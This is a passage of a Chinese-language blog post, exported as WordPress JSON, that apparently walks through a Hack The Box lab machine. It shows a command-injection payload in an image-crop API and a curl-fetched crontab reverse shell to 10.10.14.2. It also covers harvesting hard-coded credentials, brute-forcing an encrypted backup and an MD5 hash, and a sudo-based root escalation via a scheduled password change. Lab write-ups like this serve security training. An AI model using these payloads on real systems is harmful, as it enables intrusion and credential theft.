\/><\/p>\n<p>\u7ad9\u70b9\u524d\u7aef\u5411\u540e\u7aef\u63a5\u53e3<code>\/apply_visual_transform<\/code>\u53d1\u9001\u4e86\u8f93\u5165\u7684\u53c2\u6570\uff0c\u5f88\u660e\u663e\u56fe\u50cf\u7f16\u8f91\u529f\u80fd\u662f\u7528\u9776\u673a\u64cd\u4f5c\u7cfb\u7edf\u5185\u5b89\u88c5\u7684<code>ImageMagisk<\/code>\u5de5\u5177\u5b9e\u73b0\u7684\uff0c<code>JSON<\/code>\u8bf7\u6c42\u4f53\u5185\u7684\u53c2\u6570\u5c06\u4f5c\u4e3a\u547d\u4ee4\u884c\u53c2\u6570\u4f7f\u7528\u3002<\/p>\n<p>\u76f4\u63a5\u5c06\u6570\u636e\u5305\u53d1\u9001\u5230<code>Repeater<\/code>\u6a21\u5757\uff0c\u5728<code>JSON<\/code>\u53c2\u6570<code>x<\/code>\u5904\u6ce8\u5165\u7cfb\u7edf\u547d\u4ee4\uff1a<\/p>\n<pre><code class=\"language-json\">{\"imageId\":\"a2cf3f84-73aa-445b-b986-29bc6cfb3e21\",\"transformType\":\"crop\",\"params\":{\"x\":\"1;hostnamectl&gt;\/tmp\/hostnamectl.txt;echo\",\"y\":0,\"width\":300,\"height\":300}}<\/code><\/pre>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2025\/png\/42816956\/1759375745102-923e522b-a116-4844-b92f-2aa87e335414.png\" alt=\"\" \/><\/p>\n<p>\u968f\u540e\u5207\u6362\u5230\u4e4b\u524d\u7684\u65e5\u5fd7\u63a5\u53e3\u64cd\u4f5c\u754c\u9762\uff0c\u8bfb\u53d6<code>\/tmp\/hostnamectl.txt<\/code>\uff1a<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2025\/png\/42816956\/1759375812225-93de2def-3376-47c7-85f1-bc1ca0c301d5.png\" alt=\"\" \/><\/p>\n<p>\u547d\u4ee4\u6ce8\u5165\u6210\u529f\uff01\u76f4\u63a5\u5728\u672c\u673a\u4e0a\u542f\u52a8<code>netcat<\/code>\u548c<code>SimpleHTTPServer<\/code>\u76d1\u542c\uff1a<\/p>\n<pre><code class=\"language-shell\">python -m http.server 80\nrlwrap nc -l -p 443 -s 10.10.14.2<\/code><\/pre>\n<p>\u63a5\u7740\u521b\u5efa<code>Linux<\/code>\u8ba1\u5212\u4efb\u52a1\u914d\u7f6e\u6587\u4ef6<code>cronjob_config.txt<\/code>\uff1a<\/p>\n<pre><code class=\"language-plain\">*\/1 * * * * \/bin\/bash -c 'bash -i &gt;&amp; \/dev\/tcp\/10.10.14.2\/443 0&gt;&amp;1'<\/code><\/pre>\n<p>\u901a\u8fc7\u547d\u4ee4\u6ce8\u5165\u4e0b\u8f7d\u5e76\u6267\u884c<code>crontab<\/code>\u6dfb\u52a0\u8ba1\u5212\u4efb\u52a1\uff1a<\/p>\n<pre><code class=\"language-json\">{\"imageId\":\"e556f50e-40d7-4435-8dc4-bbf79154a447\",\"transformType\":\"crop\",\"params\":{\"x\":\"1;curl http:\/\/10.10.14.2\/cronjob_config.txt|crontab;echo\",\"y\":0,\"width\":300,\"height\":300}}<\/code><\/pre>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2025\/png\/42816956\/1759376312905-6680e35f-1147-4912-acca-f9eca578aa56.png\" alt=\"\" \/><\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2025\/png\/42816956\/1759376401658-5cae3d4a-7fd7-47dd-b55d-05e94856c202.png\" alt=\"\" \/><\/p>\n<p><strong>\u6210\u529f\u83b7\u5f97\u53cd\u5f39Shell\uff01\uff01<\/strong><\/p>\n<hr \/>\n<h1>\u6743\u9650\u63d0\u5347<\/h1>\n<h2>\u76ee\u5f55\u4fe1\u606f\u6536\u96c6<\/h2>\n<p>\u8fdb\u5165\u7cfb\u7edf\u540e\uff0c\u8fdb\u884c\u76ee\u5f55\u4fe1\u606f\u6536\u96c6\u3002\u5728<code>\/home\/web\/web\/bot\/admin.py<\/code>\u5185\u53d1\u73b0\u4e86<code>admin@imagery.htb<\/code>\u7528\u6237\u7684\u767b\u5f55\u51ed\u636e\u548c\u4e00\u4e2a\u8d26\u6237\u89e3\u9501\u5bc6\u94a5\uff1a<\/p>\n<pre><code class=\"language-python\"># ----- Config -----\nCHROME_BINARY = \"\/usr\/bin\/google-chrome\"\nUSERNAME = \"admin@imagery.htb\"\nPASSWORD = \"strongsandofbeach\"\nBYPASS_TOKEN = \"K7Zg9vB$24NmW!q8xR0p%tL!\"\nAPP_URL = \"http:\/\/0.0.0.0:8000\"<\/code><\/pre>\n<ul>\n<li>\u7528\u6237\u540d\uff1a<code>admin@imagery.htb<\/code><\/li>\n<li>\u5bc6\u7801\uff1a<code>strongsandofbeach<\/code><\/li>\n<li>\u8d26\u6237\u89e3\u9501\u5bc6\u94a5\uff1a<code>K7Zg9vB$24NmW!q8xR0p%tL!<\/code><\/li>\n<\/ul>\n<p>\u9664\u6b64\u4e4b\u5916\uff0c\u8fd8\u5728<code>\/var\/backup<\/code>\u76ee\u5f55\u4e0b\u53d1\u73b0\u4e86\u7591\u4f3c\u7ecf<code>AES<\/code>\u7b97\u6cd5\u52a0\u5bc6\u7684\u6570\u636e\u6587\u4ef6<code>web_20250806_120723.zip.aes<\/code>\uff1a<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2025\/png\/42816956\/1759455033682-5dfd2acf-86bb-4f6f-a640-5fa25ab92536.png\" alt=\"\" \/><\/p>\n<p>\u4f7f\u7528<code>scp<\/code>\u5c06\u6587\u4ef6\u4f20\u8f93\u81f3\u672c\u5730\uff0c\u67e5\u770b\u6587\u4ef6\u7c7b\u578b\uff1a<\/p>\n<pre><code class=\"language-shell\">file web_20250806_120723.zip.aes<\/code><\/pre>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2025\/png\/42816956\/1759455131046-deefc57e-d67e-4a86-975f-7127b34dbbd2.png\" alt=\"\" \/><\/p>\n<p>\u53d1\u73b0\u8be5\u6587\u4ef6\u4e3a\u7ecf\u8fc7<code>pyAesCrypt<\/code>\u5e93\u52a0\u5bc6\u7684\u6587\u4ef6\u3002<\/p>\n<h2>pyAesCrypt\u5bc6\u7801\u7206\u7834<\/h2>\n<p>\u5728\u76ee\u5f55\u4fe1\u606f\u6536\u96c6\u9636\u6bb5\uff0c\u6211\u4eec\u5df2\u7ecf\u53d1\u73b0\u4e86\u4e00\u4efd\u7ecf<code>Python<\/code>\u5e93<code>pyAesCrypt<\/code>\u52a0\u5bc6\u7684\u6570\u636e\u6587\u4ef6\u3002\u5c1d\u8bd5\u8c03\u7528<code>pyAesCrypt<\/code>\u5e93\u51fd\u6570<code>decryptFile()<\/code>\uff0c\u5229\u7528\u6e17\u900f\u6d4b\u8bd5\u8fc7\u7a0b\u4e2d\u53d1\u73b0\u7684\u5bc6\u7801\u5bf9\u6587\u4ef6\u8fdb\u884c\u89e3\u5bc6\uff0c\u4f46\u63d0\u793a\u5bc6\u7801\u5168\u90e8\u9519\u8bef\u3002<\/p>\n<p>\u901a\u8fc7\u8054\u7f51\u641c\u7d22\uff0c\u53d1\u73b0\u4e86\u9488\u5bf9<code>pyAesCrypt<\/code>\u7684\u66b4\u529b\u7834\u89e3\u811a\u672c\uff1a<a href=\"https:\/\/github.com\/Nabeelcn25\/dpyAesCrypt.py\" target=\"_blank\"  rel=\"nofollow\" >GitHub - Nabeelcn25\/dpyAesCrypt.py: dAescrypt.py is a multithreaded brute-force tool to crack .aes files encrypted using the pyAesCrypt library. It supports password length filtering, progress display with ETA, and optional decryption after cracking.<\/a><\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2025\/png\/42816956\/1759455603442-f57d6ef1-4cfc-4368-a40d-f7c73d9b6cee.png\" alt=\"\" \/><\/p>\n<p>\u76f4\u63a5\u514b\u9686\u81f3\u672c\u5730\uff0c\u914d\u5408<code>rockyou.txt<\/code>\u5b57\u5178\u5bf9\u52a0\u5bc6\u6587\u4ef6\u8fdb\u884c\u66b4\u529b\u7834\u89e3\uff1a<\/p>\n<pre><code class=\"language-shell\">python3 .\/dpyAesCrypt.py\/dpyAesCrypt.py web_20250806_120723.zip.aes \/usr\/share\/wordlists\/rockyou.txt -t 60<\/code><\/pre>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2025\/png\/42816956\/1759455805548-db6fe870-daa8-417b-98fb-29d6580b6a5e.png\" alt=\"\" \/><\/p>\n<p>\u6210\u529f\u53d1\u73b0<code>AES<\/code>\u5bc6\u94a5\uff1a<code>bestfriends<\/code>\uff01<\/p>\n<p>\u76f4\u63a5\u6309<code>y<\/code>\u952e\u89e3\u5bc6\u6587\u4ef6\uff0c\u53cc\u51fb\u6253\u5f00\uff0c\u53d1\u73b0\u4e3a\u538b\u7f29\u5305\uff0c\u5305\u5185\u4e3a<code>Web<\/code>\u5e94\u7528\u76ee\u5f55\u5907\u4efd\uff1a<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2025\/png\/42816956\/1759455901550-cdf9c372-a1d7-43d0-b635-9e1d4a73c2f0.png\" alt=\"\" \/><\/p>\n<p>\u67e5\u770b<code>\/web\/db.json<\/code>\u6587\u4ef6\uff0c\u53d1\u73b0<code>JSON<\/code>\u6570\u636e\u4e2d\u5b58\u5728\u540d\u4e3a<code>mark@imagery.htb<\/code>\u7684\u7528\u6237\uff1a<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2025\/png\/42816956\/1759456045624-b94c675d-e223-431a-843c-48139d038e9b.png\" alt=\"\" \/><\/p>\n<p>\u76f4\u63a5\u4f7f\u7528<code>hashcat<\/code>\u7206\u7834\u5bc6\u7801\u54c8\u5e0c\uff1a<\/p>\n<pre><code class=\"language-shell\">hashcat -m 0 -a 0 01c3d2e5bdaf6134cec0a367cf53e535 \/usr\/share\/wordlists\/rockyou.txt --force<\/code><\/pre>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2025\/png\/42816956\/1759456094496-e895d3db-9540-4bdf-9c63-7b5ff715d4ae.png\" alt=\"\" \/><\/p>\n<p>\u6210\u529f\u53d1\u73b0\u7528\u6237\u51ed\u636e\uff1a<\/p>\n<ul>\n<li>\u7528\u6237\u540d\uff1a<code>mark<\/code><\/li>\n<li>\u5bc6\u7801\uff1a<code>supersmash<\/code><\/li>\n<\/ul>\n<p>\u968f\u540e\u5207\u6362\u5230<code>mark<\/code>\u7528\u6237\uff1a<\/p>\n<pre><code class=\"language-shell\">su mark<\/code><\/pre>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2025\/png\/42816956\/1759456178668-c3b5a1ff-800c-4582-9aba-7f8389e01f60.png\" alt=\"\" \/><\/p>\n<h2>Sudo\u7a0b\u5e8f\u63d0\u6743<\/h2>\n<p>\u767b\u5f55<code>mark<\/code>\u7528\u6237\u540e\uff0c\u4f7f\u7528<code>sudo -l<\/code>\u547d\u4ee4\u67e5\u770b\u7528\u6237<code>Sudo<\/code>\u6743\u9650\uff1a<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2025\/png\/42816956\/1759456251192-ef3f0a13-e290-4572-b991-0e49c69ea62f.png\" alt=\"\" \/><\/p>\n<p>\u53d1\u73b0\u5f53\u524d\u7528\u6237\u53ef\u4ee5\u4ee5<code>root<\/code>\u8eab\u4efd\u514d\u5bc6\u8fd0\u884c<code>\/usr\/local\/bin\/charcol<\/code>\u7a0b\u5e8f\uff0c\u4f46\u7a0b\u5e8f\u6587\u4ef6\u5c5e\u4e3b\u4e3a<code>root<\/code>\uff0c\u6743\u9650\u4e3a<code>0750<\/code>\uff0c\u76ee\u524d\u65e0\u6cd5\u5bf9\u5176\u8fdb\u884c\u4ee3\u7801\u5206\u6790\u3002\u5c1d\u8bd5\u76f4\u63a5\u8fd0\u884c\uff1a<\/p>\n<pre><code class=\"language-shell\">sudo charcol<\/code><\/pre>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2025\/png\/42816956\/1759456395580-e7f48625-0adf-4a72-9806-8d4555cf909b.png\" alt=\"\" \/><\/p>\n<p>\u63d0\u793a\u79f0\u7a0b\u5e8f\u5df2\u7ecf\u542f\u52a8\uff0c\u9700\u8981\u8fdb\u5165\u4ea4\u4e92\u5f0f<code>Shell<\/code>\uff1a<\/p>\n<pre><code class=\"language-shell\">sudo charcol shell<\/code><\/pre>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2025\/png\/42816956\/1759456468925-d53c06ae-9804-4543-83ed-d0f8567fdfd5.png\" alt=\"\" \/><\/p>\n<p>\u53d1\u73b0\u9700\u8981\u8f93\u5165\u5bc6\u7801\uff0c\u8fde\u7eed\u8f93\u9519\u4e09\u6b21\u540e\u63d0\u793a\u79f0\u6267\u884c<code>charcol -R<\/code>\u53ef\u4ee5\u91cd\u7f6e\u3002\u76f4\u63a5\u6267\u884c\uff1a<\/p>\n<pre><code class=\"language-shell\">sudo -u root charcol -R\nsudo charcol shell\nsudo charcol shell<\/code><\/pre>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2025\/png\/42816956\/1759456651891-3b7033a6-1f9b-417f-9464-8a098a1deb0c.png\" alt=\"\" \/><\/p>\n<p>\u91cd\u7f6e\u5bc6\u7801\u5e76\u914d\u7f6e\u8fd0\u884c\u6a21\u5f0f\u540e\uff0c\u6210\u529f\u8fdb\u5165\u4e86<code>charcol<\/code>\u5de5\u5177\u7684\u4ea4\u4e92\u5f0f<code>Shell<\/code>\uff0c\u6267\u884c<code>help<\/code>\u547d\u4ee4\u67e5\u770b\u5e2e\u52a9\uff1a<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2025\/png\/42816956\/1759456730342-1b840a4b-badb-4a93-829d-ef7f32490f5c.png\" alt=\"\" \/><\/p>\n<p>\u9605\u8bfb\u5e2e\u52a9\u6587\u6863\uff0c\u53d1\u73b0\u8be5\u7a0b\u5e8f\u5b9e\u9645\u4e0a\u662f\u4e00\u4e2a\u6587\u4ef6\u5907\u4efd\u5de5\u5177\uff0c\u540c\u65f6\u8fd8\u5177\u6709\u7cfb\u7edf\u8ba1\u5212\u4efb\u52a1\u7ba1\u7406\u7684\u529f\u80fd\u3002\u76f4\u63a5\u6267\u884c\u5982\u4e0b\u547d\u4ee4\uff0c\u4ee5<code>root<\/code>\u8eab\u4efd\u6dfb\u52a0\u4e00\u4e2a\u5c06<code>\/bin\/bash<\/code>\u7a0b\u5e8f\u8bbe\u7f6e<code>SUID<\/code>\u7684\u8ba1\u5212\u4efb\u52a1\uff1a<\/p>\n<pre><code class=\"language-shell\">auto add --schedule \"*\/1 * * * *\" --command \"echo 'root:Asd310056'|chpasswd\" --name \"misaka19008\" --log-output \"\/tmp\/misaka19008.log\"<\/code><\/pre>\n<p>\u8f93\u5165<code>mark<\/code>\u7528\u6237\u5bc6\u7801\u786e\u8ba4\uff0c\u968f\u540e\u9000\u51fa\uff1a<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2025\/png\/42816956\/1759457055347-e95cddb9-50c7-43b7-84a2-276c924b952f.png\" alt=\"\" \/><\/p>\n<p>\u7b49\u5f85\u4e00\u4f1a\u513f\u540e\uff0c\u6267\u884c\u547d\u4ee4\u5207\u6362\u81f3<code>root<\/code>\u7528\u6237\uff1a<\/p>\n<pre><code class=\"language-shell\">su -<\/code><\/pre>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2025\/png\/42816956\/1759457128413-49b8e0d4-8fa3-4281-853d-a6d67ffac9b6.png\" alt=\"\" \/><\/p>\n<p><strong>\u63d0\u6743\u6210\u529f\uff01\uff01\uff01\uff01<\/strong><\/p>\n<hr \/>\n<h1>\u672c\u6b21\u9776\u673a\u6e17\u900f\u5230\u6b64\u7ed3\u675f<\/h1>\n<hr \/>\n","protected":false},"excerpt":{"rendered":"<p>\u76ee\u6807\u4fe1\u606f IP\u5730\u5740\uff1a10.129.115.71\uff08\u975e\u56fa\u5b9aIP\u5730\u5740\uff09 \u4fe1\u606f\u6536\u96c6 ICMP\u68c0\u6d4b PING 10.129.112.87 ( &#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"_seopress_robots_primary_cat":"","_seopress_titles_title":"","_seopress_titles_desc":"","_seopress_robots_index":"","emotion":"","emotion_color":"","title_style":"","license":"","footnotes":""},"categories":[19,14],"tags":[],"class_list":["post-321","post","type-post","status-publish","format-standard","hentry","category-htb_season_9","category-linux_machines"],"_links":{"self":[{"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/posts\/321","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/comments?post=321"}],"version-history":[{"count":1,"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/posts\/321\/revisions"}],"predecessor-version":[{"id":322,"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/posts\/321\/revisions\/322"}],"wp:attachment":[{"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/media?parent=321"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/categories?post=321"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/tags?post=321"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}